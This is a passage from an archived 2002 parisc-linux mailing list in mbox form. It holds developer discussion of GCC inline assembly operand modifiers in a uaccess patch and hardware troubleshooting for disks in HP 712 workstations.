                  ^^^ this will cause very bad things to happen.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yves Bodack" <bodack@stud.fh-heilbronn.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: Tue, 26 Nov 2002 18:00:52 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <000701c2956d$61884690$1f96078d@acid>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621972 17752 80.91.229.3 (22 Nov 2014 02:06:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:12 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 26 10:00:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns1.rz.fh-heilbronn.de (unknown [141.7.1.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61F684829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 10:00:09 -0700 (MST)
Original-Received: from lisa.stud.fh-heilbronn.de (lisa.stud.fh-heilbronn.de [141.7.11.14])
	by dns1.rz.fh-heilbronn.de (8.12.2/8.12.2) with ESMTP id gAQGxMcB014541
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 17:59:23 +0100 (MET)
Original-Received: from acid (acid.stuwo.fh-heilbronn.de [141.7.150.31])
	by lisa.stud.fh-heilbronn.de (8.12.2/8.12.2) with SMTP id gAQGxKVq023931
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 17:59:21 +0100 (MET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16940

From: "Derek Engelhaupt" <derekengelhaupt@rocketmail.com>
Subject: RE: [parisc-linux] Disk problems

>I had a 712/100 at work that we (ok I) modified to take 2 internal disks
and it ran
> well even though it got extremely hot inside since the 712 wasn't designed
for
> efficiant cooling.  I was using 2 C2490s in it, but quit doing so because
of the
> heat and also moved one of the disks to an external chassis.  The mod was
done by
> using the internal SCSI cable of a 715 and removing the floppy drive.  Not
a
> recommended solution, but the 712 power supply seemed to be able to keep
up.

This is definitively NOT recommended. I tried this in a 712/60 and almost
lost one of the disks. Powerer supply wasn't strong enough to spinn up 2
disks, and a varistor blow up.

Greetings, Yves...




From - Thu Nov 08 21:25:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: uaccess ya patch
Date: Tue, 26 Nov 2002 18:02:15 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <3DAAAD4600004A6B@ocpmta1.be.tiscali.com>
References: <20021126162938.GX21187@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621972 17760 80.91.229.3 (22 Nov 2014 02:06:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 26 10:02:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DB8B4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 10:02:24 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Gj6H-0001o4-00; Tue, 26 Nov 2002 18:02:17 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 26 Nov 2002 18:02:15 +0100
In-Reply-To: <20021126162938.GX21187@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16941

>> Much more for info, here is another way I found to implement __put_?_asm64.
>
>Joel, the __*_bad stuff is fine, but why do you want to rewrite the
>asm64 functions as macros? you are also not doing it correctly:
>
>> +#define __put_user_asm64(x, ptr)		\
>> +	__asm__ __volatile__ (			\
>> +		"\n1:\tstw\t%2,0(%%sr3,%1)\n"	\
>> +		"2:\tstw\t%R2,4(%%sr3,%1)\n"	\
>                  ^^^ this will cause very bad things to happen.

It was much more to mentionned that in asm extension of gcc for hppa it exists
also a way to address the second word (what I tried to find for a long) of
a long long via the 'R' prefix as here in '%R2' [is it what you want to say
'will cause bad things'?]

(the macro was just beacuse the original __put_?_asm() was macro :) )

Well it has not more interest and for me you can forget it.

Thanks for your attention,
    Joel




********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: uaccess ya patch
Date: Tue, 26 Nov 2002 09:22:13 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20021126172213.GI19331@tausq.org>
References: <20021126162938.GX21187@tausq.org> <3DAAAD4600004A6B@ocpmta1.be.tiscali.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621973 17766 80.91.229.3 (22 Nov 2014 02:06:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 26 10:19:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA7754829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 10:19:11 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A1B46CDB18; Tue, 26 Nov 2002 09:22:13 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3DAAAD4600004A6B@ocpmta1.be.tiscali.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16942

> It was much more to mentionned that in asm extension of gcc for hppa it exists
> also a way to address the second word (what I tried to find for a long) of
> a long long via the 'R' prefix as here in '%R2' [is it what you want to say
> 'will cause bad things'?]

maybe you are thinking of floating point registers? %r2 is general
register number 2, i.e. the return pointer.  it is not what you want to
store into memory.

> (the macro was just beacuse the original __put_?_asm() was macro :) )

well, it was an inline function for a reason -- to avoid nasty casts.
the macro as you've defined it will probably cause a lot of warnings.

randolph


From - Thu Nov 08 21:25:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: uaccess ya patch
Date: Tue, 26 Nov 2002 12:31:35 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200211261731.gAQHVZ4N021906@hiauly1.hia.nrc.ca>
References: <20021126172213.GI19331@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621973 17772 80.91.229.3 (22 Nov 2014 02:06:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:13 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 26 10:31:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 38DB04829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 10:31:42 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAQHVaot021907;
	Tue, 26 Nov 2002 12:31:36 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAQHVZ4N021906;
	Tue, 26 Nov 2002 12:31:35 -0500 (EST)
In-Reply-To: <20021126172213.GI19331@tausq.org> from "Randolph Chung" at Nov 26, 2002 09:22:13 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16943

> > It was much more to mentionned that in asm extension of gcc for hppa it exists
> > also a way to address the second word (what I tried to find for a long) of
> > a long long via the 'R' prefix as here in '%R2' [is it what you want to say
> > 'will cause bad things'?]
> 
> maybe you are thinking of floating point registers? %r2 is general
> register number 2, i.e. the return pointer.  it is not what you want to
> store into memory.

The 'R' operand code selects the second half of a register pair.  So
'%R2' refers to the second half of operand 2 in the asm.  Look at
print_operand in pa.c to see the available codes for asms.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: uaccess ya patch
Date: Tue, 26 Nov 2002 10:44:55 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20021126184455.GK19331@tausq.org>
References: <20021126172213.GI19331@tausq.org> <200211261731.gAQHVZ4N021906@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621973 17780 80.91.229.3 (22 Nov 2014 02:06:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:13 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 26 11:41:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09FEB4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 11:41:03 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B3B84CDB18; Tue, 26 Nov 2002 10:44:55 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200211261731.gAQHVZ4N021906@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16944

> > maybe you are thinking of floating point registers? %r2 is general
> > register number 2, i.e. the return pointer.  it is not what you want to
> > store into memory.
> 
> The 'R' operand code selects the second half of a register pair.  So
> '%R2' refers to the second half of operand 2 in the asm.  Look at
> print_operand in pa.c to see the available codes for asms.

oh, i see, somehow i thought %R2 == %r2...

i guess if a 64-bit number is always passed in a way that we can access
the first half as %1 and the second half as %1R then we can do away with
the masking.... 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] highmem_io for the sym53c8xx_2 driver??
Date: Tue, 26 Nov 2002 11:45:57 -0700
Lines: 7
Approved: news@gmane.org
Message-ID: <20021126184557.5F5594829@dsl2.external.hp.com>
References: <3DAAAD4600004A10@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621974 17787 80.91.229.3 (22 Nov 2014 02:06:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:14 +0000 (UTC)
Cc: "Ryan Bradetich" <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 26 11:45:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 5F5594829; Tue, 26 Nov 2002 11:45:57 -0700 (MST)
In-Reply-To: Message from jsoe0708@tiscali.be 
   of "Tue, 26 Nov 2002 16:07:40 +0100." <3DAAAD4600004A10@ocpmta1.be.tiscali.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16945

jsoe0708@tiscali.be wrote:
> Am I wrong or sg_virt_address() should be called sg_virt_addr()?

you've got it right.

grant


From - Thu Nov 08 21:25:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: uaccess ya patch
Date: Tue, 26 Nov 2002 13:56:10 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <200211261856.gAQIuAUO022318@hiauly1.hia.nrc.ca>
References: <20021126184455.GK19331@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621974 17790 80.91.229.3 (22 Nov 2014 02:06:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:14 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 26 11:56:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10FA64829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 11:56:18 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAQIuBot022320;
	Tue, 26 Nov 2002 13:56:12 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAQIuAUO022318;
	Tue, 26 Nov 2002 13:56:10 -0500 (EST)
In-Reply-To: <20021126184455.GK19331@tausq.org> from "Randolph Chung" at Nov 26, 2002 10:44:55 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16946

> i guess if a 64-bit number is always passed in a way that we can access
> the first half as %1 and the second half as %1R then we can do away with
> the masking.... 

That should be %R1.  The form %1R is what you might use to select the
right half of a floating point register.  In this, the R is just a
regular character.  When the R follows the % character, it is an
operand modifier.

GCC always uses consecutive registers for objects larger than a word,
at least in the initial rtl generation.  It is possible to split large
modes after reload for better register utilization but we don't
currently do it on the PA.

I have been working in the last few days on improving support for
non-consecutive groups of registers.  At the moment, they are just
used for function arguments and return values.  The hppa64 port
currently returns incorrectly justified small structures and we need
some enhancement to the current register group support to fix this..

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Smith <james@compusmithllc.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: 26 Nov 2002 15:31:45 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <1038342707.1298.3.camel@seventy>
References: <000701c2956d$61884690$1f96078d@acid>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621974 17793 80.91.229.3 (22 Nov 2014 02:06:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Yves Bodack <bodack@stud.fh-heilbronn.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 26 13:32:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eightythree.valleybikes.com (valleybikes.com [24.123.22.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90E4D482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 13:32:00 -0700 (MST)
Original-Received: from localhost.localdomain (root@seventy.compusmithllc.com [192.168.194.70])
	by eightythree.valleybikes.com (8.12.5/8.12.5/Debian-1) with ESMTP id gAQKVk34003768;
	Tue, 26 Nov 2002 15:31:47 -0500
In-Reply-To: <000701c2956d$61884690$1f96078d@acid>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16947

when i'm doing the disk cloning i'm actually using 2 workstations to
power the drives separately & a scsi cable long enough to reach both
disks, so i dont think its a spin up issue

James S

 


> > recommended solution, but the 712 power supply seemed to be able to keep
> up.
> 
> This is definitively NOT recommended. I tried this in a 712/60 and almost
> lost one of the disks. Powerer supply wasn't strong enough to spinn up 2
> disks, and a varistor blow up.
> 
> Greetings, Yves...
> 




From - Thu Nov 08 21:25:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: Tue, 26 Nov 2002 15:42:27 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200211262042.gAQKgRWh023438@hiauly1.hia.nrc.ca>
References: <1038342707.1298.3.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621974 17794 80.91.229.3 (22 Nov 2014 02:06:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:14 +0000 (UTC)
Cc: bodack@stud.fh-heilbronn.de, parisc-linux@lists.parisc-linux.org
To: james@compusmithllc.com (James Smith)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 26 13:42:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0D8D482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Nov 2002 13:42:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAQKgSot023440;
	Tue, 26 Nov 2002 15:42:28 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAQKgRWh023438;
	Tue, 26 Nov 2002 15:42:27 -0500 (EST)
In-Reply-To: <1038342707.1298.3.camel@seventy> from "James Smith" at Nov 26, 2002 03:31:45 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16948

> when i'm doing the disk cloning i'm actually using 2 workstations to
> power the drives separately & a scsi cable long enough to reach both
> disks, so i dont think its a spin up issue

On old drives, you can hear them spin up.  When they reach operational
speed, there is usually a click when the heads are released followed by
some head motion (thermal calibration).  If you don't hear the click,
then the drive is probably not spinning up.  Seagates have a jumper that
controls whether the drive requires a scsi command to start or not.  The
default jumper setting is to start at power on.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


